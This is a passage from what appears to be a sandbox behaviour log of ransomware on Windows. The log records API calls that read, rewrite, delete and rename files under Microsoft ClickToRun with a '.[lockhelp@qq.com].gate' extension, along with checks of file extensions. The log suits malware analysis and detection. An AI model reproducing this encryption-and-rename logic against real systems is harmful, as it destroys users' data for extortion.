shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0319.534] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.535] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0319.535] GetLastError () returned 0x0 [0319.535] ReadFile (in: hFile=0x364, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0x60c0, lpOverlapped=0x0) returned 1 [0319.580] WriteFile (in: hFile=0x368, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0319.582] ReadFile (in: hFile=0x364, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.582] WriteFile (in: hFile=0x368, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0x114, lpOverlapped=0x0) returned 1 [0319.582] SetEndOfFile (hFile=0x368) returned 1 [0319.582] CloseHandle (hObject=0x368) returned 1 [0319.582] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.582] SetEndOfFile (hFile=0x364) returned 1 [0319.583] CloseHandle (hObject=0x364) returned 1 [0319.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.583] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 1 [0319.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0319.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0319.583] lstrlenW (lpString=".doc") returned 4 [0319.583] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.584] lstrlenW (lpString=".docx") returned 5 [0319.584] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.584] lstrlenW (lpString=".pdf") returned 4 [0319.584] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.584] lstrlenW (lpString=".xls") returned 4 [0319.585] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.585] lstrlenW (lpString=".xlsx") returned 5 [0319.585] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.585] lstrlenW (lpString=".ppt") returned 4 [0319.585] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0319.585] lstrlenW (lpString=".zip") returned 4 [0319.585] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.585] lstrlenW (lpString=".rar") returned 4 [0319.585] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.585] lstrlenW (lpString=".bz2") returned 4 [0319.585] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.585] lstrlenW (lpString=".7z") returned 3 [0319.585] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0319.585] lstrlenW (lpString=".dbf") returned 4 [0319.585] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0319.585] lstrlenW (lpString=".1cd") returned 4 [0319.585] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0319.585] lstrlenW (lpString=".jpg") returned 4 [0319.585] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0319.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0319.585] lstrlenW (lpString=".doc") returned 4 [0319.585] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.585] lstrlenW (lpString=".docx") returned 5 [0319.585] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.585] lstrlenW (lpString=".pdf") returned 4 [0319.585] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.585] lstrlenW (lpString=".xls") returned 4 [0319.585] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.585] lstrlenW (lpString=".xlsx") returned 5 [0319.586] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.586] lstrlenW (lpString=".ppt") returned 4 [0319.586] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0319.586] lstrlenW (lpString=".zip") returned 4 [0319.586] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.586] lstrlenW (lpString=".rar") returned 4 [0319.586] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.586] lstrlenW (lpString=".bz2") returned 4 [0319.586] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.586] lstrlenW (lpString=".7z") returned 3 [0319.586] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0319.586] lstrlenW (lpString=".dbf") returned 4 [0319.586] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0319.586] lstrlenW (lpString=".1cd") returned 4 [0319.586] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0319.586] lstrlenW (lpString=".jpg") returned 4 [0319.586] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.586] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.586] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26 [0319.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0319.587] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=307416) returned 1 [0319.587] CloseHandle (hObject=0x364) returned 1 [0319.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0319.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0319.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0319.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0319.587] lstrlenW (lpString=".doc") returned 4 [0319.587] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.587] lstrlenW (lpString=".docx") returned 5 [0319.587] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0319.589] lstrlenW (lpString=".pdf") returned 4 [0319.589] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.589] lstrlenW (lpString=".xls") returned 4 [0319.589] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.589] lstrlenW (lpString=".xlsx") returned 5 [0319.590] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0319.590] lstrlenW (lpString=".ppt") returned 4 [0319.590] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0319.590] lstrlenW (lpString=".zip") returned 4 [0319.590] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.590] lstrlenW (lpString=".rar") returned 4 [0319.590] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.590] lstrlenW (lpString=".bz2") returned 4 [0319.590] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.590] lstrlenW (lpString=".7z") returned 3 [0319.590] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0319.590] lstrlenW (lpString=".dbf") returned 4 [0319.590] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0319.590] lstrlenW (lpString=".1cd") returned 4 [0319.590] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0319.590] lstrlenW (lpString=".jpg") returned 4 [0319.590] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0319.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0319.590] lstrlenW (lpString=".doc") returned 4 [0319.590] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.590] lstrlenW (lpString=".docx") returned 5 [0319.590] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0319.590] lstrlenW (lpString=".pdf") returned 4 [0319.590] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.590] lstrlenW (lpString=".xls") returned 4 [0319.590] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.590] lstrlenW (lpString=".xlsx") returned 5 [0319.590] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0319.590] lstrlenW (lpString=".ppt") returned 4 [0319.591] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0319.591] lstrlenW (lpString=".zip") returned 4 [0319.591] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.591] lstrlenW (lpString=".rar") returned 4 [0319.591] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.591] lstrlenW (lpString=".bz2") returned 4 [0319.591] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.591] lstrlenW (lpString=".7z") returned 3 [0319.591] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0319.591] lstrlenW (lpString=".dbf") returned 4 [0319.591] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0319.591] lstrlenW (lpString=".1cd") returned 4 [0319.591] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0319.591] lstrlenW (lpString=".jpg") returned 4 [0319.591] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.591] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.591] lstrlenW (lpString="AppVIntegration.dll") returned 19 [0319.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0319.592] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=2118360) returned 1 [0319.592] CloseHandle (hObject=0x364) returned 1 [0319.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20 [0319.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.592] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0319.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0319.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.593] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[lockhelp@qq.com].gate"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1 [0319.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0319.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0319.593] lstrlenW (lpString=".doc") returned 4 [0319.593] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.593] lstrlenW (lpString=".docx") returned 5 [0319.593] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0319.593] lstrlenW (lpString=".pdf") returned 4 [0319.593] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.593] lstrlenW (lpString=".xls") returned 4 [0319.593] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.593] lstrlenW (lpString=".xlsx") returned 5 [0319.593] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0319.593] lstrlenW (lpString=".ppt") returned 4 [0319.593] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0319.593] lstrlenW (lpString=".zip") returned 4 [0319.594] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.594] lstrlenW (lpString=".rar") returned 4 [0319.594] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.594] lstrlenW (lpString=".bz2") returned 4 [0319.594] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.594] lstrlenW (lpString=".7z") returned 3 [0319.594] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0319.594] lstrlenW (lpString=".dbf") returned 4 [0319.594] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0319.594] lstrlenW (lpString=".1cd") returned 4 [0319.594] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0319.594] lstrlenW (lpString=".jpg") returned 4 [0319.594] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0319.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0319.594] lstrlenW (lpString=".doc") returned 4 [0319.594] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.594] lstrlenW (lpString=".docx") returned 5 [0319.594] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0319.594] lstrlenW (lpString=".pdf") returned 4 [0319.594] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.594] lstrlenW (lpString=".xls") returned 4 [0319.594] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.594] lstrlenW (lpString=".xlsx") returned 5 [0319.594] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0319.594] lstrlenW (lpString=".ppt") returned 4 [0319.594] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0319.594] lstrlenW (lpString=".zip") returned 4 [0319.594] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.594] lstrlenW (lpString=".rar") returned 4 [0319.595] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.595] lstrlenW (lpString=".bz2") returned 4 [0319.595] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.595] lstrlenW (lpString=".7z") returned 3 [0319.595] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0319.595] lstrlenW (lpString=".dbf") returned 4 [0319.595] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0319.595] lstrlenW (lpString=".1cd") returned 4 [0319.595] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0319.595] lstrlenW (lpString=".jpg") returned 4 [0319.595] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.595] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.595] lstrlenW (lpString="AppVIsvApi.dll") returned 14 [0319.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0319.595] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=468696) returned 1 [0319.595] CloseHandle (hObject=0x364) returned 1 [0319.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20 [0319.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0319.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0319.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0319.596] lstrlenW (lpString=".doc") returned 4 [0319.596] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.596] lstrlenW (lpString=".docx") returned 5 [0319.596] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0319.596] lstrlenW (lpString=".pdf") returned 4 [0319.596] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.596] lstrlenW (lpString=".xls") returned 4 [0319.596] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.596] lstrlenW (lpString=".xlsx") returned 5 [0319.596] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0319.596] lstrlenW (lpString=".ppt") returned 4 [0319.596] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0319.596] lstrlenW (lpString=".zip") returned 4 [0319.597] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.597] lstrlenW (lpString=".rar") returned 4 [0319.597] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.597] lstrlenW (lpString=".bz2") returned 4 [0319.597] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.597] lstrlenW (lpString=".7z") returned 3 [0319.597] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0319.597] lstrlenW (lpString=".dbf") returned 4 [0319.597] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0319.597] lstrlenW (lpString=".1cd") returned 4 [0319.597] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0319.597] lstrlenW (lpString=".jpg") returned 4 [0319.598] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0319.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0319.598] lstrlenW (lpString=".doc") returned 4 [0319.598] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.598] lstrlenW (lpString=".docx") returned 5 [0319.598] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0319.598] lstrlenW (lpString=".pdf") returned 4 [0319.598] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.598] lstrlenW (lpString=".xls") returned 4 [0319.598] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.598] lstrlenW (lpString=".xlsx") returned 5 [0319.598] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0319.598] lstrlenW (lpString=".ppt") returned 4 [0319.598] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0319.598] lstrlenW (lpString=".zip") returned 4 [0319.598] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.598] lstrlenW (lpString=".rar") returned 4 [0319.598] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.598] lstrlenW (lpString=".bz2") returned 4 [0319.598] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.598] lstrlenW (lpString=".7z") returned 3 [0319.598] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0319.598] lstrlenW (lpString=".dbf") returned 4 [0319.598] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0319.598] lstrlenW (lpString=".1cd") returned 4 [0319.598] lstrcmpiW (lpString1=".1cd", 